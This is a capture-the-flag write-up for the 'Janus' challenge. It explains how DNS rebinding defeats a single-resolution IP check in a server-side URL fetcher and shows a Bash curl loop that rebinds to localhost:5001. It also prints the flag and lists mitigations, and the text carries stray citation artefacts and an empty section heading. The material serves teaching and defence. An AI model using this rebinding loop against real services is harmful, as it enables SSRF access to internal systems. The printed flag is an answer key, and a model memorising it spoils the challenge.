Janus (easy) — “It’s 100% secure now!”

We’ll exploit a single-resolution hostname check to pivot a fetcher from NASA’s API to localhost using DNS rebinding—no exotic headers, no proxy chaining, no user@host tricks.

Challenge TL;DR

  • Target site: https://janus.secso.cc/
  • Frontend calls: /api?url=<nasa-url> (server fetches and returns JSON)
  • Server-side “fix”: it resolves the hostname and aborts unless the IP is one of “NASA” addresses.
  • Bug: only one resolution is validated. The actual fetch can hit a different IP if the hostname changes.
  • Exploit: use a DNS-rebinding domain that resolves to a NASA IP first, then flips to 127.0.0.1 before the server issues the outbound request.
Organizer note said NASA is out of scope. We never attack NASA—our domain just briefly resolves to a NASA-looking IP to pass the validation, then rebinds.

What is DNS rebinding (one line)?

Make a hostname’s DNS answers change across lookups so the victim server/browser first allows it (“benign IP”), then connects to an internal or loopback IP on the next lookup.

Background: Waitress behind reverse proxies honors forwarded headers; its docs discuss trusted proxies and clearing untrusted headers. This challenge didn’t require those, but it helps to know the stack. :contentReference[oaicite:0]{index=0}

Recon & Model

The app exposes a server endpoint:

GET /api?url=<target>

Server logic (simplified):

  1. Parse url, extract host.
  2. Resolve once: gethostbyname(host).
  3. If resolved IP ∉ NASA_IPS403 “URL does not resolve to NASA”.
  4. Else: requests.get(url) and stream the response back.
Validator: resolve(host) ──► NASA IP ✓
Fetcher : resolves again via HTTP stack ──► 127.0.0.1 (after rebind)

The validator and the fetcher aren’t tied to the same DNS answer: the hostname can change between steps. That’s our entire attack surface.

Exploit Plan

1) Get a rebinding hostname

Use any service that can serve A records in a sequence, e.g. first “public (NASA-like) IP”, then 127.0.0.1. (In the event, a RequestRepo subdomain was used that alternated from a public IP to loopback.)

2) Point the server at our hostname on the internal port

We don’t need tricks like user@host or special headers. The vulnerable path is simply:

https://janus.secso.cc/api?url=http://<rebinding-domain>:5001/

3) Loop gently until the flip lands in the fetch window

The event permitted low-rate brute force (≤ 1 req/s, and you shouldn’t need < 100 tries). A tiny Bash loop is enough:

#!/usr/bin/env bash
# Janus – DNS rebinding loop (polite 1 RPS)
set -euo pipefail

REB="na.cpgr4vhx.requestrepo.com"   # rebind domain: first → public IP, then → 127.0.0.1
JANUS="https://janus.secso.cc/api"

i=0
while :; do
  i=$((i+1))
  ts=$(date -Iseconds)
  # Hit the vulnerable endpoint; no special headers needed.
  resp=$(curl -sS --max-time 3 --get "$JANUS" --data-urlencode "url=http://${REB}:5001/")
  # Look for the flag format (adjust as needed for the event)
  if echo "$resp" | grep -aoE 'K17\{[^}]+' >/dev/null; then
    echo "[$ts] #$i  GOT FLAG:"
    echo "$resp"
    break
  else
    echo "[$ts] #$i  still flipping…"
  fi
  sleep 1
done

When the fetch phase lands on 127.0.0.1, the server’s internal service answers and the flag is returned.

Spoiler: flag
K17{DNS___more_l1ke_d0main_name_shuffl3}

Why this works

  • Single DNS check. The app “pins” trust to a hostname, not an address.
  • TOCTOU window. Time-of-check (resolve) ≠ time-of-use (connect). A rebind domain supplies different answers to each phase.
  • No header games required. Even though the stack (Caddy → Waitress) supports reverse-proxy headers, the exploit path never depends on them. The IP gate is bypassed before any header is considered. For background on the proxy bits, see Waitress’ “Using Behind a Reverse Proxy”. :contentReference[oaicite:1]{index=1}

Mitigations (what “100% secure” should’ve meant)

  1. Resolve once, connect by IP. After resolving the hostname, initiate the outbound TCP connection to that exact IP (don’t pass the hostname back to the HTTP client).
  2. Permit-list by origin + TLS. For HTTPS, verify certificate CN/SAN matches the allow-listed NASA host and validate the CA chain; reject plain HTTP.
  3. Disallow private/loopback/metadata ranges. Drop connections to 127.0.0.0/8, ::1, RFC1918, link-local, and cloud metadata IPs.
  4. Cache & pin. Cache DNS answers (short TTLs still help), and pin the chosen IP for the lifetime of the request.
  5. Consider URL signing. Have the frontend send a signed token containing the resolved IP and hostname; verify both match server-side before fetching.

General proxy-hardening notes (trusted proxy lists, clearing untrusted headers) are documented in Waitress’ reverse-proxy guide. :contentReference[oaicite:2]{index=2}

Post-exploitation notes

Credits & References

This write-up is for the CTF challenge environment only. Don’t aim these techniques at systems without explicit permission.